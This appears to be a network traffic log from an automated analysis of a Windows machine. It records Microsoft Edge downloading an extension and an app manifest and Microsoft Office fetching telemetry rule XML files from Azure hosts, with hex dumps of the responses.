2024-10-28 17:43:31 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730742208&P2=404&P3=2&P4=VzgUykOR8QfHn3b9mESQY09IUQEIXNB47AjgEOOciL90LjU2aLAPR8rgU4McFKxnUanbb%2bVWAm5Fx18d%2bg4zpQ%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: uitr99sEy47CNwz/QSVrSS Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:32 UTC	1247	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 38308f70-9a3a-402c-9414-ac3798f1e32b MS-RequestId: 2cb69335-a426-431f-94e6-03fdb5607186 MS-CV: 2YGIUgBvLycA10zkI/7qX4.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86360 Date: Mon, 28 Oct 2024 17:43:31 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.193.38.32,b=1173252817,c=g,n=US_TX_IRVING,o=20940],[c=p,n=US_TX_IRVING,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.2026c117.1730137411.45ee6ad1 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-10-28 17:43:32 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	63532	13.107.246.57	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:32 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:32 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:32 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 7344f907-e01e-0000-2090-286807000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T174332Z-16849878b78wc6ln1zsrz6q9w8000000051g00000000993y Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:32 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-10-28 17:43:32 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-10-28 17:43:32 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-10-28 17:43:32 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-10-28 17:43:32 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-10-28 17:43:32 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-10-28 17:43:33 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-10-28 17:43:33 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-10-28 17:43:33 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-10-28 17:43:33 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	63536	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:32 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174332Z-16849878b78smng4k6nq15r6s400000006w000000000a0qk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	63535	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:32 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:32 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 7d1d0a8a-d01e-0049-263b-26e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174332Z-r197bdfb6b46krmwag4tzr9x7c000000051000000000dnfu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:32 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	63537	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:32 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:32 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174332Z-16849878b78j5kdg3dndgqw0vg00000006yg00000000rd5x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:32 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	63538	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:32 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 336bf192-401e-00ac-1a67-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174332Z-15b8d89586frzkk2umu6w8qnt80000000p2g0000000042hh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
